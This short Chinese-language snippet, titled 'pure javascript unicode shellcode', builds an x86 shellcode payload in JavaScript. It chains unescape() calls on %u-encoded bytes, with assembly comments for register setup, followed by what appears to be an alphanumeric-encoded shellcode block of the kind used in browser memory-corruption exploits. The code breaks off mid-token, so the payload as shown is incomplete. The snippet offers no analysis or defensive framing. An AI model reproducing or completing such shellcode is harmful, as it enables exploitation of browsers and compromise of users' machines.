纯javascript unicode shellcode

 
在这之前先构造eax指向下面的位置....

str+=unescape("%u0050%u0004") //push eax add al,7c

str+=unescape("%u007c%u0004") //add al,74
str+=unescape("%u0074%u0050") //push eax pop ebx
str+=unescape("%u005b%u0058")


str+=unescape("%u0050%u0059%u0049%u0049%u0049%u0049%u0043%u0043%u0043%u0043%u0043%u0043%u0051%u005A%u0056%u0054"+
"%u0058%u0033%u0030%u0056%u0058%u0034%u0041%u0050%u0030%u0041%u0033%u0048%u0048%u0030%u0041%u0030"+
"%u0030%u0041%u0042%u0041%u0041%u0042%u0054%u0041%u0041%u0051%u0032%u0041%u0042%u0032%u0042%u0042"+
"%u0030%u0042%u0042%u0058%u0050%u0038%u0041%u0043%u004A%u004A%u0049%u004E%u0039%u004A%u004B%u004D"+
"%u004B%u0049%u0049%u0043%u0044%u0047%u0054%u004B%u0044%u0050%u0031%u0048%u0052%u004F%u0042%u0042"+
"%u0057%u004